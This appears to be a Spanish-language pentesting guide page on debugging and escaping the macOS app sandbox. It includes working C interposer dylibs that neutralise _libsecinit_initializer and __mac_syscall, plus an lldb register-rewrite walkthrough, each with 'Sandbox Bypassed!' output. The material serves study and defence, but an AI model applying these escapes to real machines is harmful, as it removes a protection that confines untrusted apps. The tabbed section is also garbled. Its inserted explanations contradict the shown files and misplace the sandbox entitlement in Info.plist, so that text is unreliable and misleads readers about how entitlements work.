# Depuración y Bypass del Sandbox de macOS

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## Proceso de carga del Sandbox

<figure><img src="../../../../../.gitbook/assets/image (2) (1) (2).png" alt=""><figcaption><p>Imagen de <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>

En la imagen anterior se puede observar **cómo se cargará el sandbox** cuando se ejecute una aplicación con el permiso **`com.apple.security.app-sandbox`**.

El compilador vinculará `/usr/lib/libSystem.B.dylib` al binario.

Luego, **`libSystem.B`** llamará a otras varias funciones hasta que **`xpc_pipe_routine`** envíe los permisos de la aplicación a **`securityd`**. Securityd verifica si el proceso debe estar en cuarentena dentro del Sandbox, y si es así, se pondrá en cuarentena.\
Finalmente, se activará el sandbox con una llamada a **`__sandbox_ms`** que llamará a **`__mac_syscall`**.

## Posibles Bypasses

### Bypass del atributo de cuarentena

Los **archivos creados por procesos en el sandbox** se les añade el **atributo de cuarentena** para evitar que escapen del sandbox. Sin embargo, si logras **crear un paquete `.app` sin el atributo de cuarentena** dentro de una aplicación en el sandbox, podrías hacer que el binario del paquete de la aplicación apunte a **`/bin/bash`** y agregar algunas variables de entorno en el **plist** para abusar de launchctl y **ejecutar la nueva aplicación sin sandbox**.

Esto es lo que se hizo en [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)

### Abuso de la funcionalidad Open

En los [**últimos ejemplos de bypass del sandbox de Word**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) se puede apreciar cómo se puede abusar de la funcionalidad **`open`** de la línea de comandos para evadir el sandbox.

### Abuso de ubicaciones de inicio automático

Si un proceso en el sandbox puede **escribir** en un lugar donde **más tarde se ejecutará el binario de una aplicación sin sandbox**, podrá **escapar simplemente colocando** allí el binario. Un buen ejemplo de este tipo de ubicaciones son `~/Library/LaunchAgents` o `/System/Library/LaunchDaemons`.

Para esto, incluso podrías necesitar **2 pasos**: hacer que un proceso con un **sandbox más permisivo** (`file-read*`, `file-write*`) ejecute tu código que realmente escribirá en un lugar donde se **ejecutará sin sandbox**.

Consulta esta página sobre **ubicaciones de inicio automático**:

{% content-ref url="../../../../macos-auto-start-locations.md" %}
[macos-auto-start-locations.md](../../../../macos-auto-start-locations.md)
{% endcontent-ref %}

### Abuso de otros procesos

Si desde el proceso en el sandbox puedes **comprometer otros procesos** que se ejecutan en sandbox menos restrictivos (o sin sandbox), podrás escapar a sus sandboxes:

{% content-ref url="../../../macos-proces-abuse/" %}
[macos-proces-abuse](../../../macos-proces-abuse/)
{% endcontent-ref %}

### Compilación estática y vinculación dinámica

[**Esta investigación**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) descubrió 2 formas de evadir el Sandbox. Debido a que el sandbox se aplica desde el espacio de usuario cuando se carga la biblioteca **libSystem**. Si un binario pudiera evitar cargarla, nunca se sandboxearía:

* Si el binario estuviera **completamente compilado estáticamente**, podría evitar cargar esa biblioteca.
* Si el **binario no necesitara cargar ninguna biblioteca** (porque el enlazador también está en libSystem), no necesitaría cargar libSystem.&#x20;

### Shellcodes

Ten en cuenta que **incluso los shellcodes** en ARM64 necesitan vincularse en `libSystem.dylib`:
```bash
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
```
### Privilegios

Tenga en cuenta que incluso si algunas **acciones** pueden estar **permitidas por el sandbox** si una aplicación tiene un **privilegio específico**, como en:
```scheme
(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]
```
### Bypass de Interposting

Para obtener más información sobre **Interposting**, consulta:

{% content-ref url="../../../mac-os-architecture/macos-function-hooking.md" %}
[macos-function-hooking.md](../../../mac-os-architecture/macos-function-hooking.md)
{% endcontent-ref %}

#### Interpost `_libsecinit_initializer` para evitar el sandbox
```c
// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
```

```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!
```
#### Interceptar `__mac_syscall` para evitar el Sandbox

{% code title="interpose.c" %}
```c
// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};
```
{% endcode %}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!
```
### Depurar y evadir el Sandbox con lldb

Vamos a compilar una aplicación que debería estar en un Sandbox:

{% tabs %}
{% tab title="sand.c" %}
```c
#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}
```
{% tab title="entitlements.xml" %}

El archivo `entitlements.xml` contiene los permisos y capacidades que se le otorgan a una aplicación en el entorno de sandbox de macOS. Estos permisos determinan qué acciones puede realizar la aplicación y a qué recursos puede acceder.

Aquí hay un ejemplo de cómo se ve el archivo `entitlements.xml`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.security.network.client</key>
    <true/>
    <key>com.apple.security.files.user-selected.read-write</key>
    <true/>
    <key>com.apple.security.files.downloads.read-write</key>
    <true/>
    <key>com.apple.security.files.all</key>
    <true/>
</dict>
</plist>
```

En este ejemplo, la aplicación tiene los siguientes permisos:

- `com.apple.security.network.client`: Permite a la aplicación realizar conexiones de red salientes.
- `com.apple.security.files.user-selected.read-write`: Permite a la aplicación leer y escribir en los archivos seleccionados por el usuario.
- `com.apple.security.files.downloads.read-write`: Permite a la aplicación leer y escribir en la carpeta de descargas.
- `com.apple.security.files.all`: Permite a la aplicación leer y escribir en todos los archivos del sistema.

Estos permisos se definen en el archivo `entitlements.xml` y se utilizan para limitar las acciones que una aplicación puede realizar en el entorno de sandbox de macOS.

{% endtab %}
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>
```
{% tab title="Info.plist" %}

El archivo Info.plist contiene información de configuración para la aplicación macOS. Es un archivo de formato XML que describe las propiedades y configuraciones de la aplicación. En el contexto de la sandbox de macOS, el archivo Info.plist se utiliza para especificar las restricciones y permisos de la aplicación dentro del entorno de sandbox.

El archivo Info.plist de una aplicación sandbox debe contener una clave llamada "com.apple.security.app-sandbox" con un valor booleano establecido en "true". Esto indica que la aplicación está diseñada para ejecutarse en un entorno de sandbox y seguir las restricciones de seguridad correspondientes.

Además de la clave "com.apple.security.app-sandbox", el archivo Info.plist también puede contener otras claves relacionadas con la configuración de la sandbox, como "com.apple.security.network.client" para permitir o denegar el acceso a la red, "com.apple.security.files.user-selected.read-write" para permitir o denegar el acceso a los archivos seleccionados por el usuario, y muchas más.

Es importante tener en cuenta que el archivo Info.plist solo especifica las restricciones y permisos de la aplicación dentro de la sandbox. No proporciona una protección completa contra todas las vulnerabilidades y ataques posibles. Por lo tanto, es importante implementar otras medidas de seguridad y protección en la aplicación para garantizar una protección adecuada.

{% endtab %}
```xml
<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>
```
{% endtab %}
{% endtabs %}

Luego compila la aplicación:

{% code overflow="wrap" %}
```bash
# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand
```
{% endcode %}

{% hint style="danger" %}
La aplicación intentará **leer** el archivo **`~/Desktop/del.txt`**, lo cual el **Sandbox no permitirá**.\
Crea un archivo allí, ya que una vez que se haya eludido el Sandbox, podrá leerlo:
```bash
echo "Sandbox Bypassed" > ~/Desktop/del.txt
```
{% endhint %}

Vamos a depurar la aplicación para ver cuándo se carga el Sandbox:
```bash
# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660

# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
0x187659904 <+4>:  svc    #0x80
0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
0x18765990c <+12>: pacibsp
# Para evitar el salto a la dirección b.lo, primero modifica algunos registros
(lldb) breakpoint delete 1 # Elimina el punto de interrupción
(lldb) register write $pc 0x187659928 # Dirección b.lo
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Proceso 2517 reanudado
¡Bypass de Sandbox realizado!
El proceso 2517 salió con estado = 0 (0x00000000)
```
{% hint style="warning" %}
**Incluso si se ha eludido el Sandbox, TCC** le preguntará al usuario si desea permitir que el proceso lea archivos desde el escritorio.
{% endhint %}

## Referencias

* [http://newosxbook.com/files/HITSB.pdf](http://newosxbook.com/files/HITSB.pdf)
* [https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)
* [https://www.youtube.com/watch?v=mG715HcDgO8](https://www.youtube.com/watch?v=mG715HcDgO8)

<details>

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* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
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